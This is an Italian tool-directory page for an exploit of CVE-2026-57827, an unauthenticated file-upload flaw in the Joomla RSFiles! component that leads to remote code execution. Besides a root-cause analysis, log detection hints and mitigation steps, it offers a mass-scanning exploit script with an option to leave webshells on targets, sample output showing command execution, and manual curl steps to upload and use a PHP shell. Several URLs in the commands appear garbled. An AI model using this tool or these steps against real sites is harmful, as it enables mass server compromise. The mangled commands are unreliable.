Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-57827 — Dimostra la vulnerabilità di esecuzione di codice in remoto non autenticata nel componente Joomla RSFiles! tramite un caricamento arbitrario di file. | Kitploit
Strumenti/GitHubGitHub/candisexterior171/cve-2026-57827
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubcandisexterior171/cve-2026-57827

CVE-2026-57827

Dimostra la vulnerabilità di esecuzione di codice in remoto non autenticata nel componente Joomla RSFiles! tramite un caricamento arbitrario di file.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
3415 giorni faNon ancora revisionato

CVE-2026-57827 — RCE tramite caricamento di file non autenticato nel componente Joomla RSFiles!

Bypass del caricamento tramite controller suddiviso → Attività di scrittura diretta → /downloads/shell.php → RCE


Panoramica

CVE-2026-57827 è una vulnerabilità di gravità critica (CVSS 9.8) di caricamento arbitrario di file non autenticato in RSFiles! (com_rsfiles), un componente per la gestione dei file e dei download ampiamente utilizzato per Joomla, nelle versioni < 1.17.12.

La vulnerabilità sfrutta un difetto di progettazione del controller suddiviso: RSFiles! separa il proprio caricamento in due attività frontend — un controllo preliminare (verifica dei permessi + lista di estensioni consentite) e un metodo di scrittura (salva il file su disco). Il metodo di scrittura può essere richiamato direttamente, aggirando completamente il controllo preliminare. Nessuna autenticazione, nessun token CSRF richiesto.

Versioni interessate

VersioneStato
< 1.17.12Vulnerabile
1.17.12+Corretta

Scoperta da: Phil Taylor, mySites.guru (10 luglio 2026) Fornitore: RSJoomla (rsjoomla.com) Componente: com_rsfiles


Meccanismo della vulnerabilità

Causa principale

RSFiles! suddivide il proprio caricamento in due attività frontend separate in /components/com_rsfiles/controllers/rsfiles.php:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Perché funziona

  1. Controller diviso — I controlli di sicurezza e la scrittura del file si trovano in due metodi diversi. Solo il controllo preliminare è protetto.
  2. Accesso diretto al task — Il controller frontend di Joomla consente di chiamare qualsiasi task direttamente tramite &task=rsfiles.upload, saltando completamente il controllo preliminare.
  3. Nessuna autenticazione — Il controller frontend non ha alcun controllo di accesso. I visitatori anonimi possono chiamare il task di scrittura.
  4. Nessun token CSRF — Il form di upload frontend non ha alcun token CSRF a livello di sito.
  5. Nessuna validazione del tipo di file — Il metodo di scrittura legge il nome del file dalla richiesta e lo passa al gestore di upload incluso in Joomla (JFile::upload()), che per impostazione predefinita accetta qualsiasi tipo di file.
  6. Cartella dei download nella web root — La cartella dei download predefinita di RSFiles! si trova all'interno della web root. Il file .htaccess protettivo che impedirebbe l'esecuzione di PHP in quella cartella è un'impostazione admin opt-in che è disattivata per impostazione predefinita.

Flusso dell'attacco

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Riferimenti al codice sorgente verificati

FileScopo
/components/com_rsfiles/controllers/rsfiles.phpController con le attività vulnerabili upload() e checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpTemplate del modulo di caricamento frontend (confermato: name="file", task=rsfiles.upload)
/downloads/Cartella di download predefinita nella root web (protezione .htaccess disattivata per impostazione predefinita)
/briefcase/Cartella Briefcase (anch'essa scrivibile)

Rilevamento tramite log del server (dall'avviso RSJoomla)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Difetto di progettazione chiave

I controlli di sicurezza (gate dei permessi + allow-list delle estensioni) sono un passo di pre-verifica separato rispetto al metodo che effettivamente scrive il file. Solo il primo contiene i controlli. Il secondo — quello che scrive su disco — potrebbe essere chiamato direttamente confezionando il parametro task corretto nell'URL, aggirando tutti i controlli di sicurezza.

Questo è un esempio da manuale dell'anti-pattern "controlli e azioni in luoghi diversi": la protezione e l'operazione che dovrebbe tutelare sono disaccoppiate, e un attaccante può raggiungere l'operazione senza passare attraverso la protezione.


Installazione

git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

Utilizzo

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argomenti

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Target singolo

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Sfruttamento manuale

Passo 1 — Caricare la shell

curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Passo 2 — Accedere alla shell

curl 'https://candisexterior171.github.io'

Passo 3 — Esegui i comandi

curl 'https://candisexterior171.github.io;hostname;uname -a'

Mitigazione (se l'aggiornamento non è possibile)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
Scarica lo strumento